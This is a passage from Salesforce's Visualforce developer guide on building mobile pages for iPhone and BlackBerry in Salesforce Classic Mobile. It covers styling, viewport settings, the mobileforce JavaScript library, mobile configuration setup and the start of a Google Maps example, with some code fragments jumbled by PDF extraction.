iPhone users can access Visualforce tabs and web tabs in the mobile client application if the tabs have been mobilized by a Salesforce administrator. Although the native client application lets users access data offline, Visualforce tabs and web tabs require a connection to the wireless network because the tabs are launched in an embedded browser.
When Should Visualforce Mobile Be Used?
The majority of popular consumer and enterprise mobile applications are client-side applications that require installation and periodically connect to a server to send and receive data. There are two main reasons why mobile client applications are so prevalent over mobile on-demand applications:
Connection
Mobile devices do not maintain a constant network connection. With a client application, users can work offline and still have uninterrupted access to their data.
Speed
Wireless data networks are still very slow. Client applications are highly responsive.
Visualforce Mobile provides a way to build custom interfaces and business logic for mobile devices, but developers should only turn to
Visualforce Mobile when their needs cannot be met using the capabilities of the native client application. For example, developers might be able to replicate the same functionality in a Visualforce page by building custom objects, creating custom fields, and writing Apex triggers that run server-side when a record is updated. Until the speed and reliability of wireless networks improve, the best experience for mobile users is one where the client application performs the operations.
There are situations, however, where the native client application cannot satisfy a customer's requirements. Use Visualforce Mobile to:
•
Mobilize a standard Salesforce object that the client application does not support.
•
Integrate with another Web API, such as Google Maps.
•
Reproduce Salesforce functionality that is not available in the client application, such as responding to approval requests or sending emails using an email template.
•
Integrate with a peripheral device, such as Bluetooth or embedded GPS.
•
Override the action of the standard buttons on record detail pages. When possible, write Apex triggers instead of overriding buttons with Visualforce.
276
Developing for Mobile Devices Developing Pages for iPhone and BlackBerry
Developing Pages for iPhone and BlackBerry
Developing Visualforce pages for Salesforce Classic Mobile is much different than developing pages for Salesforce. Designs that work in a desktop browser will likely not offer a good experience in a mobile browser. Follow these general best practices when building
Visualforce Mobile pages for iPhone and BlackBerry:
Controllers
Standard controllers let you reproduce the data, styling, and actions of standard object pages. Salesforce Classic Mobile has support for custom objects and many common standard objects, and it's unlikely that you would use a standard controller to replace native functionality in the mobile application with a Visualforce page. Additionally, the layout and styling of a standard object page are usually too complex for the mobile browser.
When developing for the mobile application, you may often write custom controllers for your pages. Controllers run server-side, not in the embedded browser. Controllers with highly complex business logic may cause the page to load more slowly.
Header and Sidebar
Phones have small screens, and there's often not enough space to display the user's row of tabs and the sidebar. Additionally, it would take a long time to load these components over a wireless network. Consider suppressing the header and sidebar in your
Visualforce Mobile pages with the following attribute definition:
<apex:page showHeader= "false" >
Page Styles
The standard Salesforce stylesheets (CSS files) are too massive for the mobile browser. Not only will the Salesforce stylesheets cause the page to load very slowly, but the stylesheets do not display properly in the BlackBerry browser. Suppress the standard stylesheets in your Visualforce Mobile pages with the following attribute definition:
<apex:page standardStylesheets= "false" >
The best approach to adding a stylesheet to your page is to include a
<style >
section just below the
<apex:page >
component.
<apex:page standardStylesheets= "false" >
<style type= "text/css" >
<!-- the styles -->
</style >
</apex:page >
To reuse styles between pages, create a separate Visualforce page that defines your styles. Then, use the
<apex:include >
tag to incorporate the styles page. For example, suppose you define a page called myStyles
:
<apex:page >
<style type= "text/css" >
<!-- the styles -->
</style >
</apex:page >
You would include these styles into another page like the following:
<apex:page standardStylesheets= "false" />
<apex:include pageName= "myStyles" />
</apex:page >
It is possible to save a mobile-optimized stylesheet as a static resource, and then reference it in your page. However, the stylesheet is paired with the Visualforce markup on the client-side to render the page, so you increase the page load time by adding a stylesheet as a static resource.
277
Developing for Mobile Devices iPhone Considerations
Note: If you are building pages for the iPhone and want to mimic the standard iPhone UI, you can save time and development effort by using iUI , a third-party library that provides an iPhone-like interface to Web applications.
Lookups
The lookup field selector provided with
<apex:inputField >
doesn’t offer a good user experience on BlackBerry and doesn’t work on iPhone. You can work around this issue by writing an Apex trigger that validates the entry in the lookup field upon saving the record. You could also change the field type, if possible.
The following topics include additional information about developing pages for iPhone and BlackBerry:
•
•
•
Developing Cross-Platform Compatible Pages
•
SEE ALSO:
iPhone Considerations
The mobile application launches Visualforce Mobile pages in an embedded browser. The iPhone embedded browser is the same full-featured Safari browser used for the default Web browser. It has excellent JavaScript support and performs well.
When developing pages for the iPhone, these considerations apply:
Page Zoom
By default, the iPhone browser sets your page width to 980 pixels—a value chosen to maximize compatibility with a broad range of websites. Use a
<meta >
tag to let the iPhone browser know how wide to display the initial page:
<meta name= "viewport" content= "width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
Other browsers ignore this tag.
For iPhone-specific applications, you should set the page width to the width of the device. When providing multiple properties for the viewport meta key, use a comma-delimited list of assignment statements. The following table describes the viewport properties:
Property
width height initial-scale
Description
The width of the viewport in pixels. The default is 980. The range is from 200 to 10,000. Use the device_width
value to set the page to the width of the device in pixels.
The height of the viewport in pixels. The default is calculated based on the value of the width property and the aspect ratio of the device. The range is from 223 to 10,000 pixels. Use the device_height
value to set the page to the height of the device in pixels.
The initial scale of the viewport as a multiplier. The default is calculated to fit the web page in the visible area. The range is determined by the minimum-scale
and
278
Developing for Mobile Devices BlackBerry Considerations
Property
minimum-scale maximum-scale user-scalable
Description
maximum-scale
properties. You can set only the initial scale of the viewport, which is the scale of the viewport the first time the web page is displayed. Thereafter, the user can zoom in and out unless you set user-scalable to no
. Zooming by the user is also limited by the minimum-scale
and maximum-scale properties.
Specifies the minimum scale value of the viewport. The default is 0.25. The range is from >0 to 10.0.
Specifies the maximum scale value of the viewport. The default is 1.6. The range is from >0 to 10.0.
Determines whether or not the user can zoom in and out. Set to yes
to allow scaling and no to disallow scaling. The default is yes
. Setting user-scalable to no
also prevents a page from scrolling when entering text in an input field.
Screen Rotation
In the mobile application, rotating the screen will not cause the page to flip and re-size.
URL Targets
The embedded browser does not support the target="_blank"
attribute. If you use it in your page, the URL target doesn’t load.
File Access
The embedded browser does not natively offer access to the file system, camera, location, or other device data.
Static Resource Caching
In the mobile application, static resources (such as imahes, JavaScript, or CSS) are not cached. This can have affect performance on slow connections. The embedded browser does support caching.
As a general rule for mobile development, you shouldn't use components that:
•
Rely on JavaScript to perform an action
•
Depend on Salesforce.com stylesheets
To check if your Visualforce Mobile page falls into one of these categories, you can view the HTML source of the page. If you see a
<script >
tag that refers to JavaScript (
.js
) or a
<link >
tag that refers to a stylesheet (
.css
), you should test that the page displays as expected.
BlackBerry Considerations
The mobile application launches Visualforce Mobile pages in an embedded browser. Research in Motion (RIM) upgraded the embedded browser with the release of BlackBerry operating system version 4.3, but the embedded browser still has limited JavaScript support.
Although the BlackBerry Bold (version 4.6) and BlackBerry Storm (version 4.7) have more powerful standard browsers, the embedded browser has not sufficiently improved for full Visualforce Mobile support.
When developing pages for BlackBerry smartphones, these considerations apply:
279
Developing for Mobile Devices BlackBerry Considerations
JavaScript Support
The embedded BlackBerry browser has very limited JavaScript support. Inline DOM events do not work at all. When possible, avoid using JavaScript in Visualforce Mobile pages for BlackBerry.
Forms and View State
Visualforce pages rely on a view state
to maintain the state of the database between requests. If you use the
<apex:form >
tag in your Visualforce page, the view state variable is often too large for the BlackBerry embedded browser to deal with effectively, even for the simplest forms.
If you need to create a form, try to use standard HTML forms. Parameters sent from the form can be retrieved with
ApexPages.currentPage().getParameters()
map in the controller. When using HTML forms, remember that:
•
Maintaining state between pages must be done manually.
•
Redirecting to another page must be done manually.
•
The
<apex:commandLink >
and
<apex:commandButton >
components are not available.
For Visualforce Mobile pages that let users upload files, using the
<apex:form >
and
<apex:inputFile >
components is the best choice. The two components function properly in this limited use case. For example, to create an upload form, use the two tags in conjunction with Apex controller methods:
<apex:form >
<apex:inputFile value= "{!attachment.body}" />
<apex:commandButton action= "{!save}" />
</apex:form >
The implementation can benefit further from the use of transient variables. The transient
keyword is used for data that doesn’t need to be saved on a postback. In the previous example, the attachment itself should be non-transient, but the attachment body can potentially be very large, and there's no reason to store the body in the view state.
The solution is to change the value of
<apex:inputFile >
to retrieve a Blob file type:
<apex:form >
<apex:inputFile value= "{!theBlob}" />
<apex:commandButton action= "{!save}" />
</apex:form >
Then, in your Apex controller for this page, define theBlob
as transient:
Transient Blob theBlob;
Finally, in the save
method, define the attachment using the value of theBlob
: attachment.body = theBlob; upsert attachment; attachment.body = null .
The attachment body will get updated with the correct data, but the data will not be preserved. Set attachment.body
to null
after save because the attachment itself is not transient.
Misplaced Visualforce Tags
Some Visualforce tags, upon compilation and resolution to HTML, are sometimes misinterpreted or not interpreted:
•
The
<apex:facet >
component is placed where it appears in the code. Be sure to place the
<apex:facet >
tag where it should display on the page; for example, place the
<apex:facet name= "footer" >
component at the bottom of a section.
•
The standard Salesforce styles provided with the
<apex:sectionHeader >
and
<apex:pageBlock >
components are mangled or ignored. Use simpler tags, or write pure HTML.
280
Developing for Mobile Devices Developing Cross-Platform Compatible Pages
Page Styles
Be sure to follow the
browser ignores some common CSS properties, such as margin-left
.
Line Breaks
The
<br/ >
tag is ignored unless there is something on the line, such as a non-breaking space.
Navigation
The embedded browser in the BlackBerry client application does not have built-in navigation. If your Visualforce page is a wizard, you should provide navigation links that allow users to return to the previous page and advance to the next page. Additionally, the
Visualforce page is embedded in a tab, so you should avoid using tabs for navigation in mobile Visualforce pages.
Developing Cross-Platform Compatible Pages
It can be challenging to build Visualforce Mobile pages that look good and perform well in both the BlackBerry and iPhone embedded browsers. Salesforce recommends using one of the following approaches:
Separation and Redirection
BlackBerry-optimized page. At the top of that Visualforce Mobile page, include JavaScript that automatically redirects to the iPhone page if the connecting device is not a BlackBerry smartphone:
<apex:page >
<language= "javascript" type= "text/javascript" > if(!window.blackberry){ window.location.href= '{!$Page.iPhoneOptimizedVersion}' ;
}
</script >
</apex:page >
This approach offers the best user experience for all devices with the fewest long-term development headaches. However, it does require you to maintain two separate applications—one for each device type.
Lowest Common Denominator
Build to the lowest common denominator and include only minimal, unobtrusive JavaScript, avoiding scripts with inline events in the tags. Depending on the devices in the customer's organization, you might need to avoid JavaScript all together. On older
BlackBerry smartphones, using any JavaScript at all can cause the page to malfunction.
Conditional Code
Build device-conditional code and styles. The user agent string, contained in the header passed by the browser to the server, identifies the connecting device as BlackBerry or iPhone. The code in your Visualforce Mobile page evaluates the user agent string and displays the content appropriate for the connecting device. The benefit of Visualforce is that the markup is interpreted server-side, and the client only receives the markup it can render based on the assessment of the conditional statements. Building with conditional code is the most sophisticated approach, but not necessarily the best long-term solution due to the added code complexity.
Note:
Dynamic References to Static Resources Using
on page 173 illustrates an alternative approach to
dynamically displaying different graphics based on characteristics of the request.
281
Developing for Mobile Devices Developing Cross-Platform Compatible Pages
For example, the following markup creates a custom component named mobileSample
that simply displays an image stored within the mobileImages
static resource. However, it determines which image to display at runtime based on the browser's reported user agent value as inspected in the component’s controller.
<apex:component controller= "mobileSampleCon" >
<apex:image value= "{!URLFOR($Resource.mobileImages, deviceType + '.jpg')}" />
</apex:component >
// mobileSampleCon Controller code snippet
...
public class mobileSampleCon { public String deviceType { get; set; } public MobileSampleCon() {
String userAgent = ApexPages.currentPage().getHeaders().get( 'USER-AGENT' );
}
}
} if (userAgent.contains( 'iPhone' )) { deviceType = 'iPhone' ; else if (userAgent.contains( 'BlackBerry' )) { deviceType = 'BlackBerry' ;
}
The following example loads different stylesheets based on the connecting application. First, you can create the page that you want displayed across multiple devices:
<!-- Visualforce code snippet -->
...
<head >
<linkrel= "stylesheet" type= "text/css" href= "{!URLFOR($Resource.Global,
'/inc/css/global.css')}" />
<c:conditionalStylesheets resource= "{!$Resource.Global}" />
<linkrel= "stylesheet" type= "text/css" href= "{!URLFOR($Resource.SendEmail,
'/inc/css/local.css')}" />
<c:conditionalStylesheets resource= "{!$Resource.SendEmail}" />
</head >
...
The
Global.zip
and
SendEmail.zip
files are static resources that contain the referenced CSS files. For the conditionalStylesheets
custom component, you can define multiple CSS declarations that are rendered based on the browser type:
// Visualforce component code
<apex:component controller= "myConditionalController" >
<apex:attribute name= "resource" description= "The resource name" type= "String" required= "true" />
// for a BlackBerry standard browser, e.g., Bold
<apex:outputPanel layout= "none" rendered= "{!browserName = 'BlackBerry'}" >
<linkrel= "stylesheet" type= "text/css" href= "{!URLFOR(resource,
'/inc/css/BBBrowser.css')}" />
282
Developing for Mobile Devices Using the JavaScript Library
</apex:outputPanel >
// for a BlackBerry embedded browser in Salesforce Classic
// the Apex code distinguished between the regular and embedded browsers
<apex:outputPanel layout= "none" rendered= "{!browserName = 'Salesforce'}" >
<linkrel= "stylesheet" type= "text/css" href= "{!URLFOR(resource,
'/inc/css/BBEmbedded.css')}" />
</apex:outputPanel >
// for the iPhone Safari browser (inside Salesforce Classic or not)
<apex:outputPanel layout= "none" rendered= "{!browserName = 'iPhone-Safari'}" >
<meta name= "viewport" content= "width=320; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;" >
</meta >
<linkrel= "stylesheet" type= "text/css" href= "{!URLFOR(resource, '/inc/css/IPhone.css')}" />
</apex:outputPanel >
</apex:component >
Finally, the browserName
value is determined in an Apex controller in a manner similar to the preceding example:
Note:
Salesforce Classic Mobile appends the text
" Salesforce "
to the end of the string for the embedded BlackBerry browser. Additionally, the user can change the user agent string on some BlackBerry smartphones.
// Apex code snippet
...
public static String getBrowserName()
{
String userAgent = ApexPages.currentPage().getHeaders().get( 'User-Agent' ); if (userAgent.contains( 'iPhone' )) return 'iPhone-Safari' ; if (userAgent.contains( 'Salesforce' )) return 'Salesforce' ; if (userAgent.contains( 'BlackBerry' )) return 'BlackBerry' ; return 'other' ;
}
...
Note: Commands in the
for Salesforce Classic Mobile can be used for both iPhone and BlackBerry devices.
Using the JavaScript Library
When developing Visualforce Mobile pages, you can take advantage of the JavaScript library containing commands that trigger actions in Salesforce Classic Mobile, which helps provide a seamless user experience between Visualforce Mobile pages and the native client application.
The actions in the JavaScript library can be used in any Visualforce page on JavaScript-enabled iPhone and BlackBerry devices that support
Visualforce. There is no support for Visualforce JavaScript libraries on Android devices. When using the JavaScript library for pages that display on BlackBerry smartphones, Salesforce recommends that version 4.6 or later of the BlackBerry operating system is installed on the device.
Tip: One of the benefits of using the shared JavaScript library is that the commands work on both iPhone and BlackBerry operating systems.
283
Developing for Mobile Devices Using the JavaScript Library
To call the functions in the library, you need a small amount of JavaScript code. The functions are:
mobileforce.device.sync()
Forces the mobile client application to synchronize with Salesforce, which updates data records on the device.
mobileforce.device.close()
Closes the embedded browser containing the Visualforce page and returns the user to the originating tab or record.
mobileforce.device.syncClose()
Forces the mobile client application to synchronize with Salesforce and closes the embedded browser containing the Visualforce page.
mobileforce.device.getLocation()
Obtains the GPS coordinates of the device's current location.
Note: You can also trigger the sync and close commands using HTML links, which is a good alternative for BlackBerry smartphones that have limited JavaScript support. To use HTML to trigger the commands, include the following string as the value of the href attribute inside an
<a >
tag:
•
To force the client to synchronize data, use mobileforce:///sync
.
•
To force the embedded browser to close, use mobileforce:///close
.
•
To force the embedded browser to close and the client to synchronize data, use mobileforce:///sync/close
.
In your Visualforce pages, use the following static resource to point to the JavaScript library:
<script type= "application/x-javascript" src= "/mobileclient/api/mobileforce.js" > </script >
External websites must include the instance name in the src
parameter:
<script type= "application/x-javascript" src= "http://na1.salesforce.com/mobileclient/api/mobileforce.js" > </script >
The following code is an example of a Visualforce page that uses all of the commands available in the JavaScript library:
<apex:page showheader= "false" >
<html xmlns= "http://www.w3.org/1999/xhtml" >
<head >
<title >Visualforce Mobile Trigger Test </title >
<meta name= "viewport" content= "width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;" />
<!-- Using static resource -->
<script type= "application/x-javascript" src= "/mobileclient/api/mobileforce.js" > </script >
<script > function sync() { mobileforce.device.sync(); return false;
} function doClose() { mobileforce.device.close(); return false;
}
284
Developing for Mobile Devices Mobilizing Visualforce Pages function syncClose() { mobileforce.device.syncClose(); return false;
} updateLocation = function(lat,lon) { document.getElementById( 'lat' ).value = lat; document.getElementById( 'lon' ).value = lon;
} function getLocation() { mobileforce.device.getLocation(updateLocation); return false;
}
</script >
</head >
<body >
<h2 >Triggers: </h2 >
<p >
<a href= "#" onclick= "return sync();" >JS sync </a > <br/ >
<a href= "#" onclick= "return doClose();" >JS close </a > <br/ >
<a href= "#" onclick= "return syncClose();" >JS sync and close </a > <br/ >
<a href= "mobileforce:///sync" >HTML sync </a > <br/ >
<a href= "mobileforce:///close" >HTML close </a > <br/ >
</p >
<a href= "mobileforce:///sync/close" >HTML sync and close </a > <br/ >
<h2 >Location: </h2 >
<p >Latitude: <input type= "text" disabled= "disabled" id= "lat" name= "lat" value= "" /> </p >
<p >Logitude: <input type= "text" disabled= "disabled" id= "lon" name= "lon" value= "" /> </p >
<a href= "#" onclick= "return getLocation();" >Get location </a > <br/ >
</body >
</html >
</apex:page >
Mobilizing Visualforce Pages
After developing Visualforce pages that can run in a mobile browser, you need to perform some setup so that users can access the
Visualforce pages in Salesforce Classic Mobile.
The following topics explain how to mobilize Visualforce pages:
•
•
Adding Visualforce Tabs to Mobile Configurations
•
Testing Visualforce Mobile Pages
285
Developing for Mobile Devices Building a Visualforce Tab For Use in Salesforce Classic
Mobile
Building a Visualforce Tab For Use in Salesforce Classic Mobile
To mobilize your Visualforce page for use in Salesforce Classic Mobile, build a custom tab and define it as Salesforce Classic Mobile-ready so that you can
add it to your Salesforce Classic Mobile mobile configurations
.
To create a Visualforce tab for Salesforce Classic Mobile:
1. From Setup, enter
Tabs
in the
Quick Find
box, then select Tabs.
2. Click New in the Visualforce Tabs related list.
3. Select the mobile-optimized Visualforce page to display in the custom tab.
4. Specify the label that displays on the tab.
5. Click the
Tab Style
lookup icon to display the Tab Style Selector.
If a tab style is already in use, a number enclosed in brackets ([ ]) appears next to the tab style name. Hover your mouse over the style name to view the tabs that use the style. Click
Hide styles which are used on other tabs
to filter this list.
6. Click a tab style to select the color scheme and icon for the custom tab.
7. Select the
Salesforce Classic Mobile Ready
checkbox to indicate that the Visualforce page displays and functions properly in the Salesforce Classic Mobile app.
Selecting the checkbox adds the tab to the list of available tabs for your Salesforce Classic Mobile mobile configurations.
8. Do not select a custom link to use as the introductory splash page. Salesforce Classic Mobile doesn’t support splash pages.
9. Enter a description of the tab, if desired, and click Next.
10. Choose the user profiles for which the new custom tab will be available:
•
Select Apply one tab visibility to all profiles and choose Default On, Default Off, or Tab Hidden from the drop-down list.
•
Alternatively, select Apply a different tab visibility for each profile and choose Default On, Default Off, or Tab Hidden from the drop-down list for each profile.
11. Consider removing the new tab from all available apps so that the tab is not exposed to Salesforce desktop users. Because Visualforce
Mobile pages are usually stripped of many standard Salesforce elements, it is unlikely that you want users to access the page from a desktop browser.
•
Deselect the checkboxes next to all of the available apps.
•
Deselect the
Append tab to users' existing personal customizations
checkbox.
12. Click Save.
Adding Visualforce Tabs to Mobile Configurations
To mobilize your Visualforce page, you have to add the Visualforce tab to a mobile configuration. Mobile configurations are sets of parameters that determine the data Salesforce transmits to users' mobile devices, and which users receive that data on their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of different types of mobile users. For example, one mobile configuration might send leads and opportunities to the sales division, while another mobile configuration sends cases to customer support representatives.
To set up a mobile configuration:
•
Create the Mobile Configuration
•
•
286
Developing for Mobile Devices Adding Visualforce Tabs to Mobile Configurations
•
For detailed information about mobile configurations, refer to the
Salesforce Classic Mobile Implementation Guide
. If you have already
created a mobile configuration in your organization, you can skip to the tab customization step .
Create the Mobile Configuration
Before creating the mobile configuration, verify that your user account has been assigned a mobile license. To find out, simply edit your user record. If the Mobile User checkbox is already selected, you don't need to do anything else. If the Mobile User checkbox is not selected, select it, then enable the “Manage Mobile Configurations” permission in your profile or a permission set.
Note:
In Developer, Unlimited, and Performance Edition organizations, every Salesforce user has an assigned mobile license by default.
To create the mobile configuration:
1. From Setup, enter
Salesforce Classic
in the
Quick Find
box, then select Salesforce Classic Configurations to access the mobile configurations list page.
2. Click New Mobile Configuration.
3. Enter a name for the mobile configuration.
4. Select the
Active
checkbox. The mobile configuration does not work until you select this checkbox.
5. Optionally, enter a description for the mobile configuration.
6. Optionally, select the
Mobilize Recent Items
checkbox to mark recently used records in Salesforce for device synchronization.
7. If you select the
Mobilize Recent Items
checkbox, select a value from the
Maximum Number of Recent Items drop-down list.
8. Select your username in the
Available Members
box, and click the Add arrow to add your user account to the mobile configuration.
You can add entire profiles or individual users to a mobile configuration.
9. To set the total data size limit, use the
Don't sync if data size exceeds
drop-down list to specify the amount of memory that is consistently available on the mobile devices of users who are assigned to this mobile configuration. If you're just testing your Visualforce Mobile pages, the default setting is an appropriate size.
10. Click Save.
Define Data Sets
The next step in setting up your mobile configuration is determining which objects and records automatically synchronize to the mobile device. If you're just testing your Visualforce Mobile pages, it's not necessary to define data sets. However, if you create links to Visualforce
Mobile pages from an object's record detail page, you should mobilize that object so you can test the integration between the native records and the Visualforce Mobile pages. To find out how to create links from records to Visualforce Mobile pages, refer to the topic titled “Creating Mobile Links” in the
Salesforce Classic Mobile Implementation Guide
.
To add data sets:
1. Open the detail page for your mobile configuration.
2. In the Data Sets related list, click Edit.
3. In the hierarchy, select Data Sets to create a parent data set, or select an existing data set to create a child data set.
4. Click Add....
287
Developing for Mobile Devices Adding Visualforce Tabs to Mobile Configurations
5. In the popup window, select the object you want to mobilize.
When adding to an existing data set, the popup window displays any object with a relationship to the selected object. This includes child objects, and also parent objects with a master-detail or lookup relationship to the selected object.
6. Click OK. The data set you created appears in the hierarchy.
7. Optionally, use filters to restrict the records that a parent or child data set includes.
You can mobilize an object without pushing any data to the device for that object. Selecting the Search Only option will make the object available to users but require them to search for records they want to synchronize to their mobile device.
8. Click Done when you are finished adding data sets.
Tip: The utility at the bottom of the Data Sets page lets you test your data set filters against individual user accounts. This is useful if you have complex filters and want to model how the filters will affect users. It's important to make sure the data sets are lean enough not to exceed the size limit you set when creating the mobile configuration.
Edit Mobile Object Properties
You can optionally change the properties of standard and custom objects in the mobile application by restricting the permissions of mobile users or excluding unnecessary fields from an object's mobile page layout. Salesforce Classic Mobile inherits permissions and page layouts from Salesforce; however, there are occasions where you might want to further restrict what mobile users can do in the mobile application or which fields they see.
To edit mobile object properties:
1. Open the detail page for your mobile configuration.
2. In the Mobile Object Properties related list, click Edit next to an object name.
Only objects you mobilized in the configuration's data set appear in the related list.
3. In the Permissions section, select which permissions to remove from mobile users for this object. Use the Deny Create, Deny Edit, or Deny Delete checkboxes to prevent users from creating, editing, or deleting records in the mobile application.
4. In the Excluded Fields section, select which fields to display on the mobile device for this object. To add or remove fields, select a field name, and click the Add or Remove arrow.
Unnecessary fields consume memory and make it harder for users to scroll through pages on the mobile device, so it's a good idea to exclude fields from an object's mobile page layout when possible.
5. Click Save.
Customize Mobile Tabs
The final step in setting up your mobile configuration is mobilizing the Visualforce pages you want to test in the mobile application. To customize your tabs:
1. Open the detail page for your mobile configuration.
2. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up the mobile tabs, click Edit.
3. In the Available Tabs list, select the Visualforce tabs you want to mobilize and click the Add arrow to add them to the mobile
.
If you mobilized standard or custom objects, don't forget to select those objects when customizing your tabs. Also, you must select the Dashboards tab in order for it to appear in the mobile application.
288
Developing for Mobile Devices Testing Visualforce Mobile Pages
4. In the Selected Tabs list, choose tabs and click the Up and Down arrows to arrange the tabs in the order they should appear in the mobile application.
Note: iPhone users can customize the order of their tabs in the mobile client application. If the user customizes their tab order, any administrator changes to the tab order in the mobile configuration are ignored by the client application, and any newly mobilized tabs are added below the user's existing tabs.
5. Click Save.
Testing Visualforce Mobile Pages
After developing your Visualforce Mobile pages, test them in the mobile application to be sure they display and function as expected.
To find out how to install and run the mobile application on a BlackBerry smartphone or iPhone, refer to the topic titled “Installing
Salesforce Classic Mobile” in the
Salesforce Classic Mobile User Guide for BlackBerry
or the
Salesforce Classic Mobile User Guide for iPhone
.
If you don’t have an iPhone or BlackBerry smartphone that meets the
Salesforce Classic Mobile device requirements
, you can run the mobile application on an iPhone or BlackBerry simulator. To find out how to install and run the simulators, refer to the topic titled “Mobile
Device Simulators” in the
Salesforce Classic Mobile Implementation Guide
.
You might need to perform some of the following management tasks while testing your Visualforce Mobile pages:
Synchronize Data
The mobile application polls Salesforce for schema changes and new data every twenty minutes. In come cases, you might want to synchronize data after editing your mobile configuration or creating a record in Salesforce so that the changes show up in the application immediately. You can force the mobile application to synchronize with Salesforce.
To find out how to synchronize your data from an iPhone, refer to the topic titled “Synchronize Data” in the
Salesforce Classic Mobile
User Guide for iPhone
. To find out how to synchronize your data from a BlackBerry smartphone, refer to the topic titled “Refreshing
Data” in the
Salesforce Classic Mobile User Guide for BlackBerry
.
Note: Remember, you can use commands from the
JavaScript library in your Visualforce Mobile pages to force the mobile
application to synchronize data.
Test Different User Accounts
Developers often have several active user accounts in their Salesforce organization. If you already activated a user account in Salesforce
Classic Mobile, you have to deactivate it before you can register a different user account.
If you're using a mobile device to test your Visualforce Mobile pages instead of a simulator, you can deactivate your account from the mobile application. To find out how to deactivate your Salesforce account from an iPhone, refer to the topic titled “Erase Data” in the
Salesforce Classic Mobile User Guide for iPhone
. To find out how to deactivate your account from a BlackBerry smartphone, refer to the topic titled “Removing Salesforce Data from Your Device” in the
Salesforce Classic Mobile User Guide for BlackBerry
.
If you're using a simulator to test your Visualforce Mobile pages, you have to deactivate your account in Salesforce. To find out how to deactivate your account in Salesforce, refer to the topic titled “Deleting Mobile Devices” in the
Salesforce Classic Mobile
Implementation Guide
.
Test Sandbox Accounts
By default, the mobile client application connects to the transport for your production organization; however, you might want to test in your sandbox organization. To find out how to activate a sandbox account, refer to the topic titled “Activating a Sandbox
Account in Salesforce Classic Mobile” in the
Salesforce Classic Mobile Implementation Guide
.
289
Developing for Mobile Devices Example: Building a Mapping Application for iPhone
Example: Building a Mapping Application for iPhone
To provide an introduction to mobile development, this chapter includes a set of examples that guide you through the process of building an application for iPhone. The application will use the Google Maps Web API to map hot accounts by customer priority. To follow along with these examples, be sure you meet the following requirements:
•
Developer Edition Organization: Sign up for a Developer Edition organization at Developer Force if you do not already have one.
•
Test Data: In your Developer Edition organization, be sure that your user account includes a valid address. Edit the billing addresses of the following two accounts so that the companies are in proximity to your address:
–
Edge Communications
–
United Oil & Gas Corp.
Keeping the addresses near one another will make it easier to see all of the accounts on the map while you're testing your examples.
•
UI Library: Download iUI , a third-party library that lets Web applications easily mimic the standard iPhone UI.
•
Google Maps API: Sign up for the Google Maps API to obtain a Maps API key.
•
•
tab and the account object.
The Visualforce Mobile examples for this chapter include:
•
Creating the Custom Controller
•
Building the Map and List View
•
Creating the Custom Controller
To build the mapping application, we first need to create the custom controller referenced by the Visualforce page that displays the map and corresponding list of accounts. The controller retrieves the user's accounts with a rating of 'Hot' and builds a string array of delimited accounts for use in the mapping JavaScript routine on the Visualforce page. It also defines a getter method for the Maps API key, which is required in order to use Google Maps in our page.
The following Apex class is the controller for the Visualforce page that maps the user's hot accounts: public class mapController { public String addrStr; public User usr; public String myKey; public Account[] getMyAccts() {
String usrId = UserInfo.getUserId();
Account[] accts = [Select Id, Name, Rating, CustomerPriority__c,
OwnerId, BillingStreet, BillingCity, BillingState,
BillingPostalCode
From Account where Rating = 'Hot'
And OwnerId =: usrId ]; for (Account acct : accts) { addrStr = addrStr + acct.Name + ' : '
290
Developing for Mobile Devices Building the Map and List View
}
} return accts;
+ acct.CustomerPriority__c
+ ':'
+ acct.Id + '~:~' + acct.BillingStreet + '~:~'
+ acct.BillingCity + '~:~' + acct.BillingState + '~:~'
+ acct.BillingPostalCode + '~::~' ; public String getmyKey() { // Set up google maps api key myKey = 'http://maps.google.com/maps?file=api&v=2&' ;
// In the following line, enter your google maps key
// to get an api key, visit the Google Maps API site
// http://code.google.com/apis/maps/signup.html
myKey = myKey + 'key=<insert_google_maps_api_key_here>' ;
} return myKey; public String getAddrArStr(){ addrStr = '' ;
Account[] theRecs = getMyAccts();
} return addrStr;
}
SEE ALSO:
Building the Map and List View
The next step in building the mapping application is creating the Visualforce page that displays the map and the corresponding list of accounts. The Visualforce page defines a panel for the Google Maps object, creates a group sub-panel to display the list of accounts, and uses JavaScript to retrieve the account addresses and populate the map with color-coded markers based on the customer's priority.
The JavaScript sets up the map object by performing the following logic:
•
Get the addresses to map from the
{!AddrArStr}
string array
•
Unpack the address array by keying off the delimiters defined in the controller
•
Call doAddLocationToMap
for all account addresses and the current user
•
Use
Account.CustomerPriority__c
as the key to determine which marker color to use—green, yellow, or red
•
Retrieve the custom image markers stored in the
$Resource.markers
static resource
It's good practice to place any JavaScript code within a static resource, in case it needs to be referenced in multiple locations. Create a static resource named
MobileListView
: function addLoadEvent(func) { var oldonload = window.
onload ; if ( typeof window.
onload != 'function' ) {
291
Developing for Mobile Devices Building the Map and List View
} window.
onload = func;
} else { window.
onload = function () { oldonload();
} func();
} addLoadEvent( function () { if (GBrowserIsCompatible()) { var my_geocoder = new GClientGeocoder(); var map = new GMap2(document.getElementById( "map" )); var TC = new GMapTypeControl(); var bottomRight = new GControlPosition(G_ANCHOR_BOTTOM_RIGHT, new GSize(10,10)); var mCount =0; map.addControl( new GSmallMapControl()); // Small arrows map.addControl(TC, bottomRight); // Map type buttons function LTrim( value ) { var re = /\s*((\S+\s*)*)/; return value.replace(re, "$1" );
} function RTrim( value ) { var re = /((\s*\S+)*)\s*/; return value.replace(re, "$1" );
}
// Remove leading and ending whitespaces function trim( value ) { return LTrim(RTrim(value));
} function doAddLocationToMap(SiteName, Street, City, State, Zip, typ) { var addr = Street + ", " + City + ", " + State + " " + Zip; my_geocoder.getLatLng (addr, function (point) { if (point) { var mTag = '' ; var myIcon = new GIcon(G_DEFAULT_ICON); if (typ == 'self' ) { mTag = "<b>" + SiteName + "</b>" + "<br>" + City ; myIcon.image = "http://maps.google.com/mapfiles/arrow.png" ; myIcon.iconSize= new GSize(32,32);
} else { if (typ == 'acct' ) { mCount ++; var priAr = SiteName.split( ":" ); var compName = priAr[0]; // company name
292
